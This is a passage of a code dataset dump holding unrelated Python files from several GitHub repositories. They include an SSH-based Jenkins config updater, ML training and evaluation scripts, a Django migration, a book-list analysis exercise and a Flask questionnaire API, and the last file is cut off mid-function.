return\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"CountChu/LeetCodePython","sub_path":"learn_19_queue_and_stack/solutions/0279-perfect-squares-s2.py","file_name":"0279-perfect-squares-s2.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28217495096","text":"import concurrent.futures as pool\nimport threading\nimport time\n\nfrom huggingsound import SpeechRecognitionModel\npath_sound = '/opt/scripts/whisper_example/scratches/stress_test/sounds/5second'\nMAX_INSTANCE = 4\nnames = list(range(0, 1000))\n\n\ndef transcribe_file(model):\n th_name = threading.current_thread().name\n while len(names) > 0:\n filename = names.pop() % 10\n filepath = f'{path_sound}/{filename}.wav'\n print(f'run th_name={th_name} with filepath={filepath}')\n try:\n transcription = model.transcribe([f'{path_sound}/0.wav'])\n text = transcription[0]['transcription']\n\n print(f'end th_name={th_name} with filepath={filepath} and text={text}')\n except Exception as exp:\n print(exp)\n\n\nmodels = []\nfor rec in range(0, MAX_INSTANCE):\n print(rec)\n gpu_model = SpeechRecognitionModel(\"jonatasgrosman/wav2vec2-large-xlsr-53-russian\", device='cuda:0')\n models.append(gpu_model)\n # WARMUP\n warmup_transcription = gpu_model.transcribe([f'{path_sound}/0.wav'])\n\n\ntry:\n start_time = time.time()\n with pool.ThreadPoolExecutor(max_workers=MAX_INSTANCE) as executor:\n res = executor.map(transcribe_file, models)\n print(f\"full_time={(time.time() - start_time)}\")\nexcept Exception as e:\n print(e)\n","repo_name":"anydict/whisper_example","sub_path":"scratches/stress_test/wav2vec2_cuda_stress_test.py","file_name":"wav2vec2_cuda_stress_test.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20779284642","text":"import posixpath\nimport re\nimport logging\n\nfrom paramiko.client import *\n\nimport localUpdateJobs\n\n\nclass SSHConnection:\n def __init__(self):\n client = SSHClient()\n self.client = client\n\n def connect(self, host, usr, pwd):\n \"\"\"Establishes remote connection to host via SSH\n\n :param host: remote host\n :param usr: remote user\n :param pwd: remote password\n \"\"\"\n self.client.get_host_keys()\n self.client.set_missing_host_key_policy(AutoAddPolicy())\n self.client.connect(host, username=usr, password=pwd)\n\n def execute_command(self, command):\n stdin, stdout, stderr = self.client.exec_command(command)\n\n def has_error():\n if stderr.read().__len__() > 0:\n return True\n return False\n\n if not has_error():\n output = ''\n for line in stdout:\n output += line\n return output\n else:\n raise self.RemoteCmdError(stderr.read(), \"Error occurred during execution of command\")\n\n def sftp(self):\n return self.client.open_sftp()\n\n class RemoteCmdError(Exception):\n\n def __init__(self, expression, message):\n self.expression = expression\n self.message = message\n\n\nclass RemoteJenkinsParameters(localUpdateJobs.JenkinsParameters):\n def __init__(self, host, usr, pwd, config_path, root_dir='.'):\n super().__init__(config_path)\n self.ssh = SSHConnection()\n self.ssh.connect(host, usr, pwd)\n self.sftp_client = self.ssh.sftp()\n self.root_dir = root_dir\n\n def add_params(self, config_paths, param_list, mvn_property):\n \"\"\"Make a local copy of all remote configs. Adds/modifies parameters and mvn\n properties on local copy. Finally remote configs are overwritten by local\n files.\n\n :param config_paths: dictionary of config paths, where key is folder name and value is absolute path.\n Takes keys only.\n :param param_list: List of Parameters to add to each job config\n :param mvn_property: List of mvn_property tuples (key, value) example ('-dsome.dd, 'value')\n \"\"\"\n local_config_paths = self.copy_configs(config_paths.values(), deep_copy=False)\n selected_local_config_paths = self.filter_selected_local_config_paths(config_paths, local_config_paths)\n super().add_params(selected_local_config_paths, param_list, mvn_property)\n self.override_remote_config(config_paths, local_config_paths)\n\n @staticmethod\n def filter_selected_local_config_paths(config_paths, local_config_paths):\n \"\"\"Returns local config paths dictionary {jobName: config_path} using\n keys (jobNames(folder names)) to create new Dictionary\n\n :param config_paths: Dictionary with remote paths to config files\n :param local_config_paths: Dictionary with local copy of config paths\"\"\"\n selected_local_config_paths = {}\n for directory_name in config_paths.keys():\n selected_local_config_paths[directory_name] = local_config_paths[directory_name]\n return selected_local_config_paths\n\n def override_remote_config(self, config_paths, local_config_paths):\n \"\"\"Overrides all remote configs at given paths with configuration files\n stored locally (copied to local using copy_configs method)\n\n :param config_paths: Dictionary {jobName: config_path} pointing to remote config.xml file locations\n :param local_config_paths: Dictionary {jobName: config_path} pointing to local config.xml file locations\n \"\"\"\n for key in local_config_paths.keys():\n self.sftp_client.open(config_paths[key], 'w').write(open(local_config_paths[key]).read())\n\n def import_job_parameters(self, new_parameters, config_paths, with_mvn_params=False, src_config_path=''):\n local_config_paths = self.copy_configs(config_paths.values(), deep_copy=False)\n local_src_config_path = self.copy_configs([src_config_path])\n selected_local_config_paths = self.filter_selected_local_config_paths(config_paths, local_config_paths)\n super().import_job_parameters(new_parameters, selected_local_config_paths.values(), with_mvn_params,\n src_config_path=list(local_src_config_path.values())[0])\n self.override_remote_config(config_paths, local_config_paths)\n\n def read_job_all_parameters(self, config_path):\n local_config_path_copy = self.copy_configs([config_path], deep_copy=False)\n return super().read_job_all_parameters(list(local_config_path_copy.values())[0])\n\n def read_all_configs(self, root_dir):\n \"\"\"Returns parameters dictionary where key is job name\n and value is full path to config\n\n :param root_dir: root path for searching jobs\n\n \"\"\"\n config_paths = {}\n\n def push_config(path): config_paths[posixpath.split(path)[1]] = posixpath.join(path, 'config.xml')\n\n [push_config(path) for path in self._read_all_paths(root_dir)]\n return config_paths\n\n def _read_all_paths(self, root_dir):\n result = []\n self.sftp_client.listdir(root_dir)\n\n def is_jenkins_folder(path):\n has_jobs_folder = False\n has_folder_config = False\n if path.endswith('xml'):\n logging.debug(\"wrong check at {}\".format(path))\n return False\n for subdir in self.sftp_client.listdir(path):\n if not has_jobs_folder and subdir == 'jobs':\n has_jobs_folder = True\n if not has_folder_config and subdir == 'config.xml':\n has_folder_config = True\n folder = has_folder_config and has_jobs_folder\n if folder:\n logging.debug(\"{} is folder\".format(path)) # TODO mark path as directory in search result list\n return folder\n\n def contains_config(path):\n try:\n listdir = self.sftp_client.listdir(path)\n for child in listdir:\n if child == 'config.xml':\n return True\n return False\n except FileNotFoundError as err:\n logging.debug(err, path)\n return False\n\n for child in self.sftp_client.listdir(root_dir):\n if is_jenkins_folder(root_dir) and child == 'config.xml':\n result.append(root_dir)\n continue\n if child != 'config.xml' and re.match('.*\\\\.xml', child):\n continue\n path = posixpath.join(root_dir, child)\n if child == \"jobs\":\n result.extend(self._read_all_paths(path))\n continue\n elif child == 'builds' \\\n or child.endswith('Build') \\\n or child.startswith(\".\") \\\n or re.match('^\\s\\\\\\\\..*$', child) \\\n or child == 'lastStable' \\\n or child == 'lastSuccessful' \\\n or child == 'nextBuildNumber':\n continue\n elif is_jenkins_folder(path):\n result.extend(self._read_all_paths(path))\n continue\n elif contains_config(path):\n result.append(path)\n return result\n\n def read_config_file(self, path):\n temp = self.sftp_client.open(path)\n result = ''\n for line in temp:\n result += line\n return result\n","repo_name":"pustelnik/JenkinsJobsUpdate","sub_path":"remoteUpdateJobs.py","file_name":"remoteUpdateJobs.py","file_ext":"py","file_size_in_byte":7524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70029220839","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('varer', '0010_raavare_lenket_salgsvare'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='råvare',\n name='lenket_salgsvare',\n field=models.ForeignKey(blank=True, null=True, to='varer.Salgsvare', related_name='lenkede_raavarer', on_delete=models.CASCADE),\n preserve_default=True,\n ),\n ]\n","repo_name":"cybernetisk/internsystem","sub_path":"varer/migrations/0011_auto_20141222_0447.py","file_name":"0011_auto_20141222_0447.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"18887555592","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n__author__ = 'Arwen'\n__mtime__ = '2020/6/7'\n\"\"\"\nimport os\nimport argparse\nimport time\nimport tensorflow as tf\nfrom models import create_model\nfrom hparams import hparams as hp\nfrom hparams import hparams_debug_string\nfrom datafeeder import get_test_batches, prepare_batch\nfrom util import infolog\nfrom util import plot\nfrom util.tools import ValueWindow, calculate_acc, obtain_list, batch_lcs\nfrom util.audio import map_to_39_2d, load_vocab\n\nphn2idx, idx2phn = load_vocab()\nlog = infolog.log\n\ndef eval(args):\n if args.checkpoint:\n checkpoint_path = args.checkpoint\n else:\n checkpoint_path = tf.train.latest_checkpoint(hp.logdir)\n log('Loading checkpoint: %s' % checkpoint_path)\n log(hparams_debug_string())\n\n # Set up model:\n audio = tf.placeholder(tf.float32, [None, None, hp.num_mels], 'audio')\n sentence = tf.placeholder(tf.int32, [None, None], 'sentence')\n targets = tf.placeholder(tf.int32, [None, None], 'targets')\n audio_length = tf.placeholder(tf.int32, [None], 'audio_length')\n sentence_length = tf.placeholder(tf.int32, [None], 'sentence_length')\n\n # Set up model:\n with tf.variable_scope('model') as scope:\n model = create_model(args.model, hp)\n model.initialize(audio, sentence, audio_length, sentence_length, targets)\n model.add_loss()\n model.add_acc()\n\n # Bookkeeping:\n time_window = ValueWindow(100)\n acc_window = ValueWindow(100)\n correct_window = ValueWindow(100)\n\n # Eval!\n step = 0\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n output_list = []\n target_list = []\n with tf.Session(config=config) as sess:\n sess.run(tf.global_variables_initializer())\n saver = tf.train.Saver()\n saver.restore(sess, checkpoint_path)\n log('Loading evaluate data from: %s' % hp.test_data_path)\n feature_files,batches = get_test_batches(hp.test_data_path)\n for idx, batch in enumerate(batches):\n batch = prepare_batch(batch)\n feed_dict = {\n model.audio: batch[0],\n model.sentence: batch[1],\n model.targets: batch[2],\n model.audio_length: batch[3],\n model.sentence_length: batch[4]\n }\n step = step + 1\n start_time = time.time()\n time_window.append(time.time() - start_time)\n\n output, target, istarget, origin_acc = sess.run([model.preds, model.targets, model.istarget, model.acc],\n feed_dict=feed_dict)\n # mapping to 39\n output = map_to_39_2d(output)\n target = map_to_39_2d(target)\n origin_acc_39 = calculate_acc(istarget,output,target)\n output, target, preds, labels = obtain_list(output,target,istarget)\n acc, correct = batch_lcs(output,target)\n print(origin_acc_39, acc, correct)\n acc_window.append(acc)\n correct_window.append(correct)\n\n output_list.extend(preds)\n target_list.extend(labels)\n\n message = 'Step %-7d [%.03f sec/step, avg=%.05f, correct=%.05f]' % (\n step, time_window.average, acc_window.average, correct_window.average)\n log(message)\n\n plot.plot_confusion_matrix(target_list, output_list, idx2phn, args.checkpoint + \".png\")\n log('Confusion matrix saved!')\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--checkpoint', default='', help='Path to model checkpoint')\n parser.add_argument('--name', default='test', help='Name of the run. Used for logging. Defaults to model name.')\n parser.add_argument('--hp', default='',\n help='Hyperparameter overrides as a comma-separated list of name=value pairs')\n parser.add_argument('--model', default='SED_MDD')\n parser.add_argument('--tf_log_level', type=int, default=1, help='Tensorflow C++ log level.')\n args = parser.parse_args()\n os.environ['TF_CPP_MIN_LOG_LEVEL'] = str(args.tf_log_level)\n run_name = args.name\n os.makedirs(hp.logdir, exist_ok=True)\n infolog.init(os.path.join(hp.logdir, 'eval_new.log'), run_name)\n hp.parse(args.hp)\n eval(args)\n\n\nif __name__ == '__main__':\n main()","repo_name":"ArwenFeng/test","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":4306,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"5197962667","text":"import requests\n\n\nclass Table:\n\n def __init__(self, year, name, limit_max=100):\n self.year = year\n self.name = name\n self.limit_max = limit_max\n\n def get_raw(self, path, *args, **kwargs):\n return self.year.get_raw('tables/%s/%s' % (self.name, path), *args, **kwargs)\n\n def schema(self):\n return self.get_raw('schema')['data']\n\n def get(self, filter_string=None, limit=None, offset=0):\n result = []\n while limit == None or len(result) < limit:\n # prepare get parameters\n get_params = {\n 'limit': self.limit_max if limit == None else min(self.limit_max, limit - len(result)),\n 'offset': offset,\n }\n if filter_string != None:\n get_params['filter'] = filter_string\n\n # get\n response = self.get_raw('', params=get_params)['data']\n result += response\n\n # reached end of table\n if len(response) < self.limit_max:\n break\n\n # next offset\n offset = max(e['id'] for e in response) + 1\n\n return result[0:limit]\n\n\nclass Year:\n\n def __init__(self, api, year):\n self.api = api\n self.year = year\n\n self.tables = {\n table['name']: Table(self, table['name'])\n for table in self.get_raw('tables')['data']\n }\n\n def get_raw(self, path, *args, **kwargs):\n return self.api.get_raw('years/%d/%s' % (self.year, path), *args, **kwargs)\n\n def schema(self):\n return {name: table.schema() for name, table in self.tables.items()}\n\n\nclass API:\n\n def __init__(self, url):\n self.url = url\n\n self.years = {\n year: Year(self, year)\n for year in self.get_raw('years')['data']\n }\n\n def get_raw(self, path, *args, **kwargs):\n response = requests.get(self.url + path, *args, **kwargs)\n response.raise_for_status()\n return response.json()\n\n def schema(self):\n return {year: year_object.schema() for year, year_object in self.years.items()}\n","repo_name":"EE/hackaton-examples","sub_path":"siis/siis.py","file_name":"siis.py","file_ext":"py","file_size_in_byte":2102,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"18"} +{"seq_id":"7871351919","text":"from data import data_list\nfrom book import Book\n\n\ndef run_analysis(book_list):\n books = create_book_list(book_list)\n print('')\n print(\"*******************************************************************\")\n print('')\n example_analysis(books)\n print('')\n print(\"*******************************************************************\")\n print('')\n analysis_one(books)\n print('')\n print(\"*******************************************************************\")\n print('')\n analysis_two(books)\n print('')\n print(\"*******************************************************************\")\n print('')\n analysis_three(books)\n\n\ndef create_book_list(data_list):\n book_list = []\n #TODO: Write a function that will loop through data_list, and create a Book object for each list item\n #TODO: Then, add each Book item to book_list\n #TODO: Finally, return book_list for use in analysis questions!\n for book in data_list:\n books_in_list = Book(book)\n book_list.append(books_in_list)\n\n\n return book_list\n\n\ndef example_analysis(book_list):\n print(\"Analysis of which book had the highest price in 2016\")\n # Find all books from 2016\n # Use a Lambda filter function to find books who have a year of 2016\n # Converting to a list, and saving as variable books_2016\n books_2016 = list(filter(lambda book: book.year == 2016, book_list))\n # Calculating the maximum price, and saving that book as highest_cost_book\n # Using max(), with Lambda function\n highest_cost_book = max(books_2016, key=lambda book: book.price)\n # Print that book's name & price to terminal\n print(\n f\"The most expensive book in 2016 was {highest_cost_book.name} with a price of {highest_cost_book.price}\")\n\n\ndef analysis_one(book_list):\n print(\"Analysis of which book had the lowest number of reviews in 2018\")\n books_2018 = list(filter(lambda book: book.year == 2018, book_list))\n lowest_num_review = min(book_list, key=lambda book: book.number_of_reviews)\n print(f\"The book with the lowest number of reviews in 2018 was {lowest_num_review}\")\n\ndef analysis_two(book_list):\n print(\"Analysis of which genre (fiction or non-fiction) has appeared the most in the top 50's list\")\n non_fiction_list = list(filter(lambda book: book.genre == \"Non Fiction\", book_list))\n non_fiction_count = len(non_fiction_list)\n print(f\"The total amount of non fiction books is {non_fiction_count}.\")\n\n fiction_list = list(filter( lambda book : book.genre == \"Fiction\", book_list ))\n fiction_count = len(fiction_list)\n print(f\"The total amount of fiction books is {fiction_count}.\")\n print(f\"The genre with the highest appearence count on the top 50's list is {non_fiction_count}!\")\n \n \ndef analysis_three(book_list):\n print(\"Analysis of which book has appeared the most in the top 50's list, and how many times it has appeared\")\n most_appearances= []\n name_and_frequency = {\"name\": '', \"frequency\": 0}\n book_names = set([book.name for book in book_list])\n for name in book_names:\n unique_names = list(filter(lambda book : book.name == name, book_list))\n unique_name_count = len(unique_names)\n\n if unique_name_count >= name_and_frequency[\"frequency\"]:\n name_and_frequency[\"name\"] = name \n name_and_frequency[\"frequency\"] = unique_name_count\n\n print(name_and_frequency)\n \n# BONUS USER STORIES:\n\n\ndef bonus_analysis_one(book_list):\n print(\"Analysis of which author has shown up on the top 50's list the most (Distinct books only!)\")\n\n\ndef bonus_analysis_two(book_list):\n print(\"Analysis of the top book for each year, based on the book's user ratings and number of reviews\")\n\n\ndef bonus_analysis_three(book_list):\n print(\"Analysis of which book has appeared the most consecutively on top 50's list\")\n\n\nrun_analysis(data_list)\n","repo_name":"karenclewis21/BestSellersProject.py","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3272511871","text":"import torch\nfrom bench.core.executer import Executer\n\n\ndef l1_loss(pred, target):\n \"\"\"L1 loss.\n\n Args:\n pred (torch.Tensor): The prediction.\n target (torch.Tensor): The learning target of the prediction.\n\n Returns:\n torch.Tensor: Calculated loss\n \"\"\"\n assert pred.size() == target.size() and target.numel() > 0\n loss = torch.abs(pred - target)\n return loss\n\n\ndef carl_loss(\n cls_score,\n labels,\n bbox_pred,\n bbox_targets,\n loss_bbox,\n k=1,\n bias=0.2,\n avg_factor=None,\n sigmoid=False,\n num_class=80,\n):\n \"\"\"Classification-Aware Regression Loss (CARL).\n\n Args:\n cls_score (Tensor): Predicted classification scores.\n labels (Tensor): Targets of classification.\n bbox_pred (Tensor): Predicted bbox deltas.\n bbox_targets (Tensor): Target of bbox regression.\n loss_bbox (func): Regression loss func of the head.\n bbox_coder (obj): BBox coder of the head.\n k (float): Power of the non-linear mapping.\n bias (float): Shift of the non-linear mapping.\n avg_factor (int): Average factor used in regression loss.\n sigmoid (bool): Activation of the classification score.\n num_class (int): Number of classes, default: 80.\n\n Return:\n dict: CARL loss dict.\n \"\"\"\n pos_label_inds = (((labels >= 0) &\n (labels < num_class)).nonzero().reshape(-1))\n\n if pos_label_inds.numel() == 0:\n return dict(loss_carl=cls_score.sum()[None] * 0.0)\n pos_labels = labels[pos_label_inds]\n\n # multiply pos_cls_score with the corresponding bbox weight\n # and remain gradient\n if sigmoid:\n pos_cls_score = cls_score.sigmoid()[pos_label_inds, pos_labels]\n else:\n pos_cls_score = cls_score.softmax(-1)[pos_label_inds, pos_labels]\n carl_loss_weights = (bias + (1 - bias) * pos_cls_score).pow(k)\n\n # normalize carl_loss_weight to make its sum equal to num positive\n num_pos = float(pos_cls_score.size(0))\n weight_ratio = num_pos / carl_loss_weights.sum()\n carl_loss_weights *= weight_ratio\n\n if avg_factor is None:\n avg_factor = bbox_targets.size(0)\n # if is class agnostic, bbox pred is in shape (N, 4)\n # otherwise, bbox pred is in shape (N, #classes, 4)\n if bbox_pred.size(-1) > 4:\n bbox_pred = bbox_pred.view(bbox_pred.size(0), -1, 4)\n pos_bbox_preds = bbox_pred[pos_label_inds, pos_labels]\n else:\n pos_bbox_preds = bbox_pred[pos_label_inds]\n ori_loss_reg = (loss_bbox(pos_bbox_preds, bbox_targets[pos_label_inds]) /\n avg_factor)\n loss_carl = (ori_loss_reg * carl_loss_weights[:, None]).sum()\n return loss_carl\n\n\ndef args_adaptor(np_args):\n cls_score = torch.from_numpy(np_args[0]).cuda()\n labels = torch.from_numpy(np_args[1]).cuda()\n bbox_pred = torch.from_numpy(np_args[2]).cuda()\n bbox_targets = torch.from_numpy(np_args[3]).cuda()\n loss_bbox = l1_loss\n\n return [cls_score, labels, bbox_pred, bbox_targets, loss_bbox]\n\n\ndef executer_creator():\n return Executer(carl_loss, args_adaptor)\n","repo_name":"DeepLink-org/DLOP-Bench","sub_path":"bench/samples/long_tail/carl_loss/torch_impl.py","file_name":"torch_impl.py","file_ext":"py","file_size_in_byte":3091,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"18"} +{"seq_id":"16983670432","text":"class Solution:\n def minimumRounds(self, tasks: List[int]) -> int:\n htable = {}\n rounds = 0\n \n for val in tasks:\n htable[val] = 1 + htable.get(val, 0)\n\n for diff in htable:\n occ = htable[diff]\n if occ == 1:\n return -1\n elif occ % 3 == 0:\n rounds += (occ // 3)\n else:\n # 13 - three 3s and two 2s: 13 // 3 = 4, 13 % 3 = 1, \n # so since its % 3 = 1, take (13 // 3) + (13 % 3) to get the rounds\n # 17 - five 3s and one 2: 17 // 3 = 5, 17 % 3 = 2,\n # so since its % 3 = 2, take (17 // 3) + (17 % 3) - 1 to get the rounds\n # 25 - seven 3s and two 2s: 25 // 3 = 8, 25 % 3 = 1,\n # its % 3 = 1 again, take (25 // 3) + (25 % 3) to get the rounds\n if occ % 3 == 2:\n rounds += ((occ // 3) + (occ % 3) - 1)\n else:\n rounds += ((occ // 3) + (occ % 3))\n \n return rounds\n ","repo_name":"dyhliang/Leetcode","sub_path":"2244-minimum-rounds-to-complete-all-tasks/2244-minimum-rounds-to-complete-all-tasks.py","file_name":"2244-minimum-rounds-to-complete-all-tasks.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"27034451931","text":"from . import peaks\r\nfrom . import events\r\nfrom . import config\r\nimport pandas as pd\r\nimport os\r\nimport numpy as np\r\n\r\ndrive_dir = '/media/daqtest/'\r\nRUN = 'Run29'\r\ntypes = ['peaks','events','waveforms']\r\npotential_drives = os.listdir(drive_dir)\r\nsandaw_drives = []\r\n\r\nfor i, d in enumerate(potential_drives):\r\n if np.isin('SanDAWEnabled.txt', os.listdir(f\"{drive_dir}{d}\")):\r\n sandaw_drives.append(d)\r\n\r\ndef UpdateRunList():\r\n run_modes_df = []\r\n run_ids_df = []\r\n drive_df = []\r\n n_type_seg_df = {t:[] for t in types}\r\n \r\n for sd in sandaw_drives:\r\n drive = f\"{drive_dir}{sd}/{RUN}/processed/\"\r\n rawdata_dir = f\"{drive_dir}{sd}/{RUN}/rawdata/\"\r\n\r\n run_modes = os.listdir(rawdata_dir)\r\n\r\n for rm in run_modes:\r\n runs = os.listdir(f\"{rawdata_dir}{rm}\")\r\n for r in runs:\r\n try:\r\n allfiles = os.listdir(f\"{drive}{rm}/{r}\")\r\n for t in types:\r\n n_type_seg_df[t].append(len([f for f in allfiles if f.startswith(t)]))\r\n except:\r\n for t in types:\r\n n_type_seg_df[t].append(0)\r\n run_modes_df.append(rm)\r\n run_ids_df.append(r)\r\n drive_df.append(sd)\r\n\r\n master_runs_df = pd.DataFrame({'run_mode': run_modes_df,\r\n 'run_id': run_ids_df,\r\n 'n_peak_segments': n_type_seg_df['peaks'],\r\n 'drive': drive_df,\r\n 'n_waveform_segments': n_type_seg_df['waveforms'],\r\n 'n_event_segments': n_type_seg_df['events']})\r\n \r\n return master_runs_df\r\n \r\nclass Loader():\r\n def __init__(self, config_file, run_list = None):\r\n self.peaks = peaks.Peaks(config_file)\r\n self.events = events.Events(config_file)\r\n if run_list == None:\r\n self.run_list = UpdateRunList()\r\n elif type(run_list) == str:\r\n self.run_list = pd.read_hdf(run_list, 'runs')\r\n else:\r\n self.run_list = run_list\r\n self.datatype_dict = {'peaks' : self.peaks, 'events' : self.events}\r\n \r\n def GetData(self, file, data_type, **kwargs):\r\n return self.datatype_dict[data_type].Load(file, **kwargs)\r\n \r\n def LoadRuns(self, run_ids, data_type, max_segments = None, **kwargs):\r\n if type(run_ids) == str:\r\n runs = self.run_list[self.run_list['run_id'] == run_ids]\r\n elif hasattr(run_ids, '__iter__'):\r\n runs = self.run_list[np.isin(self.run_list['run_id'], run_ids)]\r\n else:\r\n raise ValueError('Please either input a string for the run_id or a list of run_ids')\r\n \r\n drives = list(runs['drive'])\r\n run_modes = list(runs['run_mode'])\r\n rids = list(runs['run_id'])\r\n run_segments = list(runs['n_event_segments'])\r\n \r\n \r\n data = []\r\n for i, rid in enumerate(rids):\r\n if max_segments == None:\r\n d = [self.GetData(f\"{drive_dir}\"\r\n f\"{drives[i]}/\"\r\n f\"{RUN}/\"\r\n f\"processed/\"\r\n f\"{run_modes[i]}/\"\r\n f\"{rid}/\"\r\n f\"{data_type}_{rid}_seg{s}.bin\", data_type, **kwargs) for s in range(run_segments[i])]\r\n else:\r\n d = [self.GetData(f\"{drive_dir}\"\r\n f\"{drives[i]}/\"\r\n f\"{RUN}/\"\r\n f\"processed/\"\r\n f\"{run_modes[i]}/\"\r\n f\"{rid}/\"\r\n f\"{data_type}_{rid}_seg{s}.bin\", data_type, **kwargs) for s in range(min(run_segments[i],max_segments))]\r\n d = np.concatenate(d)\r\n \r\n run_metadata_path = [i for i in os.listdir(f\"{drive_dir}{drives[i]}/{RUN}/rawdata/{run_modes[i]}/{rid}/\") if i.startswith(\"metadata\")][0]\r\n run_metadata = config.LoadConfig(f\"{drive_dir}{drives[i]}/{RUN}/rawdata/{run_modes[i]}/{rid}/{run_metadata_path}\")\r\n run_unix_time = np.int64(run_metadata['metadata']['UnixTime'])\r\n \r\n for t in d.dtype.names:\r\n if (t.endswith('time')&(t!='drift_time')):\r\n d[t] += run_unix_time\r\n \r\n data.append(d)\r\n return np.concatenate(data)","repo_name":"darkmatter-ucsd/sandaq","sub_path":"sandawpy/.ipynb_checkpoints/loader-checkpoint.py","file_name":"loader-checkpoint.py","file_ext":"py","file_size_in_byte":4437,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"33748856114","text":"# DFS 문제 - 음료수 얼려 먹기\nfrom collections import deque\n\n# 입력 받기\n# n, m: 얼음틀의 세로(행), 가로(열) 길이\n# data: 얼음틀 정보\nn, m = map(int, input().split())\ngraph = []\nfor i in range(n):\n graph.append(list(map(int, input())))\n\n\n# dfs로 특정 노드 방문 뒤, 인접 노드들 모두 방문 처리\ndef dfs(r, c):\n # 주어진 범위 벗어나면 즉시 종료\n if r < 0 or r >= n or c < 0 or c >= m:\n return False\n \n # 현재 노드가 방문 전이라면\n if graph[r][c] == 0:\n \n # 현재 노드 방문 처리\n graph[r][c] = 1\n\n # 인접 노드들 모두 방문 (상하좌우)\n dfs(r - 1, c)\n dfs(r + 1, c)\n dfs(r, c - 1)\n dfs(r, c + 1)\n \n # 아이스크림 하나 완성\n return True\n\n # 현재 노드가 이미 방문 완료라면\n return False\n\n# 모든 노드에 대해 음료수 채움\nice = 0 # 아이스크림 개수 초기화\nfor i in range(n):\n for k in range(m):\n # 모든 노드에 대해 dfs 수행\n if dfs(i, k) == True:\n ice += 1\n\n# 결과 출력\nprint(ice)","repo_name":"bokkuembab/For-coding-practice","sub_path":"Book-이것이코테다/3. BFS&DFS/5-10 음료수 얼려 먹기.py","file_name":"5-10 음료수 얼려 먹기.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1389301878","text":"from flask import Flask, request\nfrom flask_restful import Resource, Api\nfrom flask_cors import CORS\n\napp = Flask(__name__)\napi = Api(app)\nCORS(app)\n\nimport plotly.express as px\nimport pandas as pd\nfrom math import floor\nimport pba\ntry:\n print('run from root')\n from application.engine import *\nexcept:\n print('running from application')\n from engine import *\n\nfrom io import StringIO\n\n\n@app.route(\"/\")\ndef hello():\n return \"Hello World!\"\ncsv = 'application/default_questionnaire_v2.csv'\n\n\nclass Start(Resource):\n def post(self):\n _verbose = False\n # default_ = 'test_3_inputs.csv'\n\n json_data = request.get_json()\n # ppv = json_data['ppv']\n try:\n compute_option = json_data['compute_ratio']\n except:\n compute_option = 'precise'\n # if _verbose: print(json_data['csv'])\n # if json_data['csv'] == \"\":\n # csv = default_\n # else:\n # csv = StringIO(json_data['csv'])\n # csv = default_\n \n # if '[' in str(ppv):\n # ppv = pba.I(*[float(i) for i in ppv.replace('[','').replace(']',\"\").split(',')])\n # else:\n # ppv = float(ppv)\n pd.read_csv(csv)\n Q = Questionnaire(csv)\n Q._verbose = False\n Q.generate_Questionnaire(compute_option)\n # if hasattr(Q,'inc_question_ind'):\n # Q.inc_question_ind = 0\n # Q._increment_PPV = ppv\n if _verbose: print(Q.csv)\n \n question_data = Q.get_interface_Questionnaire()\n return {'Qid': list(question_data['Qid']),\n 'Qtype': list(question_data['Qtype']),\n 'questions': list(question_data['question_text']),\n 'header': list(question_data['header']),\n 'section': list(question_data['section']),\n 'dependant': list(question_data['dependant'].fillna(0)),\n 'description': list(question_data['description'].fillna(\"\"))}\n\nclass Submit(Resource):\n def post(self):\n _verbose = False\n default_ = 'test_3_inputs.csv'\n json_data = request.get_json()\n ppv = json_data['ppv']\n try:\n compute_option = json_data['compute_ratio']\n except:\n compute_option = 'precise'\n \n # if json_data['csv'] == \"\":\n # csv = default_\n # else:\n # csv = StringIO(json_data['csv'])\n # # csv = default_\n \n if _verbose: print('Working Questionnaire...')\n if _verbose: print(csv)\n \n if '[' in str(ppv):\n ppv = pba.I(*[float(i) for i in ppv.replace('[','').replace(']',\"\").split(',')])\n else:\n ppv = float(ppv)\n\n Q = Questionnaire(csv)\n Q.generate_Questionnaire(compute_option)\n Q.prevelence = ppv\n # json_data = request.get_json()\n answers = json_data['answers']\n Q.evaluate_Questionnaire(answers)\n inc_ppv = ['[{:.3f},{:.3f}]'.format(i.left,i.right) for i in Q.ppv_store ]\n return {'ppv': '[%.3f,%.3f]'%(Q.final_ppv.left,Q.final_ppv.right), 'incremental_ppv':inc_ppv}\n \ndef print_fact_array(ppv: Interval):\n #!TODO: make it work for other sizes\n x = [i for i in range(10) for j in range(10)]\n y = [j for i in range(10) for j in range(10)]\n\n N = len(x)\n col = []\n for i in range(N):\n if i/N < ppv.left:\n col.append('sick')\n elif i/N < ppv.right:\n col.append('dunno')\n else:\n col.append('well')\n \n\n fig = px.scatter(pd.DataFrame({'x':x,'y':y,'col':col}), x='x',y='y',color = 'col')\n fig.update_traces(marker=dict(size=12))\n return 